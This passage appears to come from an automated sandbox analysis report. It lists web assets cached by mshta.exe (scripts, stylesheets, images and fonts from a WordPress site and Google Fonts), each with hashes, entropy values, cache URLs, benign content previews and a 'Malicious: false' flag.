Size (bytes):	1706
Entropy (8bit):	5.274543201400288
Encrypted:	false
SSDEEP:	48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
MD5:	B9BEC45642FF7A2588DC6CB4131EA833
SHA1:	4D150A53276C9B72457AE35320187A3C45F2F021
SHA-256:	B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
SHA-512:	C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
Malicious:	false
Preview:	...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\facex_horizontal2-e1535501425981[1].png

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	PNG image data, 647 x 203, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	22332
Entropy (8bit):	7.95225542017139
Encrypted:	false
SSDEEP:	384:uOarYkT57qgE2KHef+OaSjnSuvLYF4Ex+ZdnNqe7rS1:darV5ugE2KzO5bSuvLY6Ex0nZ/S1
MD5:	2480CFD093671638A8FB34154B96D47A
SHA1:	3F412F18AAAFDEDC7354C60A7B1CE6A5DD5168D3
SHA-256:	3B2E707E645AF05594B0E247F77AB992B59767637F9A21A34A826CC16E0250D2
SHA-512:	C6FF46FC26E7F934812382F0AAE8BABEC184207F00E4FE696BE92F9548DC3630657B5EFFD87EA284254A8E6A6DCFCCEB93862AD6DB0F6D6647E026346963158D
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png
Preview:	.PNG........IHDR...............9... .IDATx..y\|T...?.;K&.!.$........#K@..nE....e.Vl..........i.....Rk!..\.......(.,!..I.!d..~.?f.If.=w.d&.y..W.=..3K.~.w.$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$...ho V..l..We[@.LJ......m....3.Dp...Fb4........Cc...\{._.D".H$..Vz.8.{.d....)y._.p.@..9.D....f.01...S...lQ....5`m.D".H$.C.q....T..z..L........b0.dP)..2<.L..... .H$..D..!.wWT.i.....8.......L........<"5.[.H$..D.....H.pUQo%`.@.....Q...P.q9..D{?..D".Hz..J..=y2..T......D{?F... ~.U.......H$..D.....6....\|........f..m...........-...].4.<P....E.. .b..bBo......$.!.w......'.&%....n........~{.ZL".H$..$.]Z.~\qj...#L\|.....GN6...z..9.oj..Yc..T6t.ID.....I......NAn.d..{....R.G/.M...J$..D"..tIq..h.`......f...`.j\|Yy.......6C2.b...d`_..N:...._...b~(?7s..;.H$..D...R.p..d%N}.....u..f.~q.e.x..).[....L.M..,...........f....$..D".....8.]^.}..#B........Nb..U.Z{...3.+.+.za..,L.(...I.<.;...bv-..0.9...H$..D.].yq..p.0R.gAt....g....l..T.\.F1.j

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\gtranslate-style24[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	693
Entropy (8bit):	4.934608717734217
Encrypted:	false
SSDEEP:	12:4IYVc5Y6ls3SFy4n51hHSs5n8oD6jc5n8JH6uDvKROYABO0b2TLx3OsqTLxN8QOX:4IYVc5Y6B51hys5n8G6jc5n8JH6uDvKX
MD5:	9B0F26CF8D22D4E9455F67B21C2F9759
SHA1:	F0240A4411D4A2EB073C574D37618E503392B76E
SHA-256:	226456D9A9EEF8F0831B6B181BE100A49CBAEC1651A8BD45D7D0CC897D161538
SHA-512:	FB5BA2942B79906FD59181F39F3C753D9950AB5502A56A3D164DFF50516CC70149EA68D3478F4B7ADC09E7FB67FD8519FF83EFD5089FA51B1B85400C50641D4B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20
Preview:	a.gflag {font-size:24px;padding:1px 0;background-repeat:no-repeat;background-image:url(24.png);}.a.gflag img {border:0;height:24px;display:inline;}.a.gflag:hover {background-image:url(24a.png);}.img.gstats {display:none;}.a.alt_flag {background-image:url(alt_flags.png);}.a.alt_flag:hover {background-image:url(alt_flagsa.png);}.a.us_flag {background-position:-0px -100px;}.a.br_flag {background-position:-100px -100px;}.a.mx_flag {background-position:-200px -100px;}..a.glink {text-decoration:none;}.a.glink span {margin-right:5px;font-size:15px;vertical-align:middle;}.a.glink img {vertical-align:middle;display:inline;border:0;padding:0;margin:0;opacity:0.8;}.a.glink:hover img {opacity:1;}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\jflickrfeed[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	1076
Entropy (8bit):	5.146194862266352
Encrypted:	false
SSDEEP:	24:2wFz5dxCwMo9Ip1Axquw14QOdq9aE0VrkV/VDFVHV6VJvV7d9r2lLnsn1Dn:FzVdYgqjOdquS9z1wJtJe7s1D
MD5:	FE76A6B329775418FB0EFE5FE8797001
SHA1:	6ADF84DEC08BAF40C1CB81BB94610EEBEB630451
SHA-256:	7F83A9259FD19BC18D4C3ED17095CBDE1A8974BA1E727F99321454E6F117D4E7
SHA-512:	D94D842E4461984D5858CA04B1C7C9B7F3BCDB25F6C8BD551F1CA6825ACC314DEE3E4F5605A97DD79EF92703BF5AB7B8DE9BE91C5802063A311C2945173397CE
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
Preview:	(function(b){b.fn.jflickrfeed=function(c,e){c=b.extend(!0,{flickrbase:"//api.flickr.com/services/feeds/",feedapi:"photos_public.gne",limit:20,qstrings:{lang:"en-us",format:"json",jsoncallback:"?"},cleanDescription:!0,useTemplate:!0,itemTemplate:"",itemCallback:function(){}},c);var d=c.flickrbase+c.feedapi+"?",f=!0,g;for(g in c.qstrings)f\|\|(d+="&"),d+=g+"="+c.qstrings[g],f=!1;return b(this).each(function(){var g=b(this),f=this;b.getJSON(d,function(d){b.each(d.items,function(d,a){if(d<c.limit){if(c.cleanDescription){var b=./<p>(.*?)<\/p>/g,e=a.description;b.test(e)&&(a.description=e.match(b)[2],void 0!=a.description&&(a.description=a.description.replace("<p>","").replace("</p>","")))}a.image_s=a.media.m.replace("_m","_s");a.image_t=a.media.m.replace("_m","_t");a.image_m=a.media.m.replace("_m","_m");a.image=a.media.m.replace("_m","");a.image_b=a.media.m.replace("_m","_b");delete a.media;if(c.useTemplate){var b=c.itemTemplate,h;for(h in a)b=b.replace(RegExp("{{"+h+"}}","g"),a[h]);g.append(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\jquery.mobile.customized.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	17219
Entropy (8bit):	5.3136571369702965
Encrypted:	false
SSDEEP:	384:9Cda0BL3liEPys8C5w+J1HAZ3vePKL3VYb2:YDdys8CuYKZ3vePKL3Wi
MD5:	F937C24AEE1A092CB9A337391ACFA645
SHA1:	22B537591377B42445B6383F54F6C05D4EBFE39A
SHA-256:	B5CF71E5EBD435D68E269558177FD4F444F36B0E8C18F7299F1590E0EE12B146
SHA-512:	9F2BE4FD1D3D2CBD2B8E7E4028F540C6CE0FD5889F4CD5BD2DB06076239E400CC07E0DB88319E9C3AAD8973E70CACAC5F69247DC7E09B777ECBF67C3F26FE059
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js
Preview:	window.define=function(){Array.prototype.slice.call(arguments).pop()(window.jQuery)};define(["jquery"],function(a){(function(a,b){if(a.cleanData){var c=a.cleanData;a.cleanData=function(b){for(var d=0,e;(e=b[d])!=null;d++){a(e).triggerHandler("remove")}c(b)}}else{var d=a.fn.remove;a.fn.remove=function(b,c){return this.each(function(){if(!c){if(!b\|\|a.filter(b,[this]).length){a("*",this).add([this]).each(function(){a(this).triggerHandler("remove")})}}return d.call(a(this),b,c)})}}a.widget=function(b,c,d){var e=b.split(".")[0],f;b=b.split(".")[1];f=e+"-"+b;if(!d){d=c;c=a.Widget}a.expr[":"][f]=function(c){return!!a.data(c,b)};a[e]=a[e]\|\|{};a[e][b]=function(a,b){if(arguments.length){this._createWidget(a,b)}};var g=new c;g.options=a.extend(true,{},g.options);a[e][b].prototype=a.extend(true,g,{namespace:e,widgetName:b,widgetEventPrefix:a[e][b].prototype.widgetEventPrefix\|\|b,widgetBaseClass:f},d);a.widget.bridge(b,a[e][b])};a.widget.bridge=function(c,d){a.fn[c]=function(e){var f=typeof e==="str

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\modernizr[2].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	HTML document, ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	12314
Entropy (8bit):	5.301581700967231
Encrypted:	false
SSDEEP:	192:Eu55THWDn9KHdfJJqbbo5jaSJJJkSeIUHV+2LDDhWwpy8b7z:j5RHWD9KxJJAo5jakrwHVrHh1pz
MD5:	8CEF5686125E254FB53C25F16E310525
SHA1:	93522E2AB068A3433331E08144722DD57A8FAE9A
SHA-256:	6C44371BECA8CB2A76B857B17532BB3512B2E68B4A8678AB4288B95353005A0F
SHA-512:	BBA61E0EC78AC07E6EF8D4195D6E17B6276559129749F1B1C836826AB5660CFC5441CB7F979EFDC7D5ED0931EC2AD8C6DC21BAEF83CB19218B107441B2A9E290
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
Preview:	;window.Modernizr=function(a,b,c){function B(a){j.cssText=a}function C(a,b){return B(n.join(a+";")+(b\|\|""))}function D(a,b){return typeof a===b}function E(a,b){return!!~(""+a).indexOf(b)}function F(a,b){for(var d in a){var e=a[d];if(!E(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function G(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:D(f,"function")?f.bind(d\|\|b):f}return!1}function H(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return D(b,"string")\|\|D(b,"undefined")?F(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),G(e,b,c))}function I(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)t[c[d]]=c[d]in k;return t.list&&(t.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),t}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.type!=="text",e&&(k.value=l,k.style.cssText="position:abs

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\owl.theme.default.min[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	1013
Entropy (8bit):	5.21364895278629
Encrypted:	false
SSDEEP:	24:0/emCtetORzuZiqMdhuzTqgfkPH2nouoKLn7tk8:uZo8WSZiqMAqgfW8L9d
MD5:	594B81805A98B267E47C70A8FAD30D9F
SHA1:	684D84EC40B305CA14EFC88C91F12972CB6342B4
SHA-256:	924B0DC630D1C5DFF9FA31AEAD9509775B1D476BFE0A5AC2977B2F11205A26AC
SHA-512:	B0C5ED30D2F5CD1CE894760A12E8CCD80A822D447D1760B8FF4E5C75BC638CB491BCC40872210F090668FBE9E4EE0A3706D4AE2BD91F6BFB3E6B87F88B9A4B93
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0
Preview:	/*. Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. /..owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highlight-color:transparent}.owl-theme .owl-nav{margin-top:10px}.owl-theme .owl-nav [class=owl-]{color:#FFF;font-size:14px;margin:5px;padding:4px 7px;background:#D6D6D6;display:inline-block;cursor:pointer;border-radius:3px}.owl-theme .owl-nav [class*=owl-]:hover{background:#869791;color:#FFF;text-decoration:none}.owl-theme .owl-nav .disabled{opacity:.5;cursor:default}.owl-theme .owl-nav.disabled+.owl-dots{margin-top:10px}.owl-theme .owl-dots .owl-dot{display:inline-block;zoom:1}.owl-theme .owl-dots .owl-dot span{width:10px;height:10px;margin:5px 7px;background:#D6D6D6;display:block;-webkit-backface-visibility:visible;transition:opacity .2s ease;border-radius:30px}.owl-theme .owl-dots .owl-dot.active span,.owl-theme .owl-dots .owl-dot:hover span{backgr

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\pt-br[1].png

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	687
Entropy (8bit):	7.458759901857417
Encrypted:	false
SSDEEP:	12:6v/7m/6T/MxuT6GaUz0uUVijlYa3uTr/xgJawYZnWGLJfcqREdlec:b/67tZaV+YwuPBw0RLrqd8c
MD5:	363DA7C647BE7AEFCF5505F4F89DC205
SHA1:	469D6084D160034D024AF67B4D61C0EDE98CFBA6
SHA-256:	F66C95E006D101DADB1678A583A35F52FBD20C7EB0CB05FF485019DBD0CE1D02
SHA-512:	31551E0ED608813FCA4955BB3ECF3311BF096585FAF0BBF8FA04FEDFCAA54D85B1555D314C074645221417B865AF08C1D86F08670454DF12828A1C4DED220209
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png
Preview:	.PNG........IHDR................a....pHYs................ cHRM..z%..............u0...`..:....o._.F...5IDATx..KHTa......s.q.F.il$E.I....iSd..,.ePF;w.....hW......&..%..............F.6...xx.x_!.d'#.Z.~}og,.........V%`:. .(.B.K.......:....-..$.#.(B.&.D......T!.....v..2.."....X..<M.....g...&..Nsh...v..U.0m.B.B....tt...=....UIwW.....j..$.#UL..@.(.&.p...tE.H.b...X..J...O.;...1.w}.a. ..[.-.E..S4...U.?2:...ti.z....G)Lu%Cg....9.-.I...dA.r"..\|#...udp..J._f~1.\|....h.2.s...1.Ym.i...5....j.+W.ez&..d...'.~.d.S.&.7...Zcu.`..^.K...lgd>..1n]H....-..b$2!\|5U\|.M.0.8.,t$...k..r...F.u..qy0.B.V..9....6.hI.e%..#e.`pF.@Ws.!1..g...(..f......"...8.%vZ........>)......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\responsive[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	21945
Entropy (8bit):	4.998283618348646
Encrypted:	false
SSDEEP:	384:vDi+XnHtUrZKt+uSmu+c30r8SGCxGfGYb/0EUN0QT0z8lFLiFHM:LiOnHtUrZKtqOI0ISGCxGfGYb/0Ery0C
MD5:	56879E9EF909D5CF8DEF84297B5AC6B4
SHA1:	097D5726A7053C1E9E20FCFE6FFA771F2D6DE573
SHA-256:	8A1D0F12B448B5065CBE1E76F5D2DF0364E9E9A2CAE98E9419215CAD62FB1892
SHA-512:	E7ACA508BE1EB31411887C3DD64ABBC47AB39C3C217E924D89245A084404AF350C2B6693721BD06CF9CCF8DE263189BC2C80FD1C1E86A8D10147FBC27FF7770B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css
Preview:	/!. Bootstrap Responsive v2.3.0. . Copyright 2012 Twitter, Inc. * Licensed under the Apache License v2.0. * http://www.apache.org/licenses/LICENSE-2.0. . Designed and built with all the love in the world @twitter by @mdo and @fat.. /..clearfix {. zoom: 1;.}..clearfix:before,..clearfix:after {. display: table;. content: "";. line-height: 0;.}..clearfix:after {. clear: both;.}..hide-text {. font: 0/0 a;. color: transparent;. text-shadow: none;. background-color: transparent;. border: 0;.}..input-block-level {. display: block;. width: 100%;. min-height: 30px;. -webkit-box-sizing: border-box;. -moz-box-sizing: border-box;. box-sizing: border-box;.}.@-ms-viewport {. width: device-width;.}..hidden {. display: none;. visibility: hidden;.}..visible-phone {. display: none !important;.}..visible-tablet {. display: none !important;.}..hidden-desktop {. display: none !important;.}..visible-desktop {. display: inherit !important;.}.@media (min-width: 768px) and (ma

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\style[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	66002
Entropy (8bit):	5.19992445499213
Encrypted:	false
SSDEEP:	768:RnQmALZc3HQApqPQ5j2m7Y414TtS6c9eu4SqSIGyU8O/sXi:+mN3kQ5noSWqyU8O/sXi
MD5:	47F3B539EC47105303FE88C5B4DB8BB8
SHA1:	7452E7208C3718CF250E126015876A0D09576818
SHA-256:	B6DF3EA0DB277CDC16BD73D0D3FC2422976E289F3C6E181E5EDF46AADA3B21C1
SHA-512:	70311C6FA62A73C78FAF2974E39B39C35C7413BE826A050D22E06E8C1FB695672063EE84D883F8D737F8578DC86CE2B64BD01B2E97D45DA84AA9A233ECCF3EA2
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css
Preview:	body { position:relative; }..ie8 body { min-width:980px; }.@media (max-width: 767px) {..body.cherry-fixed-layout {...padding-left:0 !important;...padding-right:0 !important;..}.}.@media (max-width: 767px) {..body.cherry-fixed-layout .header, body.cherry-fixed-layout .content-holder, body.cherry-fixed-layout .footer {...padding-left:20px;...padding-right:20px;..}.}.body[class*="span"] {..position:static;..float:none;..min-height:inherit;..margin-left:inherit;.}.a { outline:none; }.a:focus { outline:none; }..main-holder {..position:relative;..z-index:1;.}..cherry-fixed-layout .main-holder {..margin:0 auto;..max-width:980px;..width:auto;..background:#fafafa;.}.@media (min-width: 1200px) {...cherry-fixed-layout .main-holder { max-width:1210px; }.}.@media (min-width: 768px) and (max-width: 979px) {...cherry-fixed-layout .main-holder { max-width:764px; }.}..header {..position:relative;..z-index:99;..padding:30px 0;..border-bottom:1px solid #DDD;..background-color:#eee;.}..logo {..position:re

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\swfobject[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	10231
Entropy (8bit):	5.498827185914172
Encrypted:	false
SSDEEP:	192:dEBsWGAZvwGxP1hNWwI9V0YOOsFbkRHeZtyIVyX8c727LMoOyXoy7NgvZ4xsnyQ/:dAsWGAZvwGxP1hNWwI9V0YO1NkRHezyV
MD5:	9FFDBA2CFF497D701684657E329871F5
SHA1:	693465E9D9376FD4D2FCD45FFC24F735E1159312
SHA-256:	5FC71212D5F80194F946CC9239D030AAE8B51879EC22BD6F9A793C49E543D1C0
SHA-512:	5DA070D4040661BD167EF22C6F81C7DC6A9ED79F9CC6C662750B9EB3B1F2048E8D782536996EA7C54E961CD514313314EBFA724409CD2F0440D884288C9ECFFA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417
Preview:	/.SWFObject v2.2 <http://code.google.com/p/swfobject/> ..is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> ./.var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.webkit\/(\d+(\.\d+)?).$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=par

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\warning[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\warning[2]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\S6u8w4BMUTPHh30AXC-u[1].eot

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	Embedded OpenType (EOT), Lato Hairline family
Category:	downloaded
Size (bytes):	21906
Entropy (8bit):	7.967838538437944
Encrypted:	false
SSDEEP:	384:VFJHGuN6qSpebL2RIS+Xv4nRE0661wyGSD37OhAVT/VJqVL89X:VFTEqFbCOS+/cz1wyRD3+u/zqd8d
MD5:	AC3C05998D9A3A94292ADB42CA4402D0
SHA1:	F15C88C7820DACCFA39D9007E7BF98652D2DAA2C
SHA-256:	C27571B00544786FF1223F04E4254433CECB80A49DDC1605968FB8ED0FB2E46B
SHA-512:	30F0F74DB92E2D943D8994E6ED8E9E54CA47861AFCBC612D0002E4C97C0FF83E395FC258DC4C649283F9F8EF49A167A29BB4AC3840D0D7E072C4CCCF408119A3
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot
Preview:	.U...T............................LP'...J.............. ....@..y....................L.a.t.o. .H.a.i.r.l.i.n.e.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o.-.H.a.i.r.l.i.n.e.....BSGP...................`.=..>..50....`.W.hKr{z~"U:b,/.ezS..........-A.RC...x....E.57z.....%)..;".I^...s..N......!.....-..m."....Yb..qrS.a..N..B....~......m..X._.^.V.".2...3Q..qM.nl....U.7..M.D..j..9..C..]..X...L'.s..:...[.b....x>...6.5}_.;.......v...s.`.......E....&.nV..M.(iy..Mi1...(q...........s..L.H.'y..O..CL..y......S...E.#@.l..............X.....A....0".Ju./..#.......]....5o8I..\|.A...$...Q.qmE.m.q..@.Y...x..J4.$$.. ?...D...g.z..\fq...(o;LX.`U......J2Q..i..1....9......u....L.mSn.......t...d....).....[L7.0.}.A..E.m.P..F.i'h..........0..Z\...1.{.y..i..*...M@..M.6...h.ha`.`....!.H...K..y._.........t-..C..w.......Zi..P...\.<K...z4Q..\.....:jcU.......F.6.n.......F.>0@.a@.@.........\|.d=...Re..sG..=.= ....X@..G...p;...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\S6u9w4BMUTPHh50XSwiPHQ[1].eot

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	Embedded OpenType (EOT), Lato Black family
Category:	downloaded
Size (bytes):	25451
Entropy (8bit):	7.969770648296379
Encrypted:	false
SSDEEP:	768:HoV31fm0ipzey9jR/tzFC+THGz4x8SJG2Xeog:HoVFuNP/3CdSLOt
MD5:	0AD19DEC4DE4F225CBF95946B07F03F0
SHA1:	4ED5339BEAA5683AEAE65BB1E4B48A877EDDBB65
SHA-256:	9D42496620626D2D3AC3022B36A1671BEE2F23B86A147440C92316380FB30BBD
SHA-512:	22A7EC99DD4068291486B54832B895BD0766E5710DC0622FBF0A2FA3A2EB98EF12AB1B37210CAD603DF4709719E051D91F1ACCE17B9DC20E72C410AAE3A7D346
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot
Preview:	kc..mb............................LP'...J.............. .....7.n....................L.a.t.o. .B.l.a.c.k.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .B.l.a.c.k.....BSGP.....................A^.G>.3........ZB....D...X,S..O...G.cu.b.>Nj....l.\t.bcA.85..N.~.X...l..%HL...a.EY.I.....zF........m.V..O.....x#E...:..T[q;Q....}.@`>..... cu)...4Y.9/.....:.._....d....-.9....NSe...NF.Q.5.(<,..C..F...>..~..p...t.....2.\|5..p.c_.(B...H..%........Ma.3Y..4$o...l .....@6...6.].]....... ......4@..t.B!.2.-.O...&.y.v.....4J@.E...TDCr..)..U..V..%.%.5.....7E.m_x"..<T...Il..O.%Q...x.5......]..fB.< .H..0h`......y..\.y.Q..&...O.........vs......t...\|.GS0...H.:..].t.u......9..LBfb&&..A..L},..P.cOy...B.O%..H..UX<X=X>PCPk...H.Q..!T".A..4/\b..7..!...........W.\|E...n...w0v....j;.....?<..w.Q.r.$$x......oy..O9...^...g@..r....9....vCr..v....m....MPOo..,"..(.E.f...?..d.M..hT.P.u..`d8_#....&.}...\|k...>e...*;>1.O.$.P{..ao.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\S6u9w4BMUTPHh6UVSwiPHQ[1].eot

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	Embedded OpenType (EOT), Lato family
Category:	downloaded
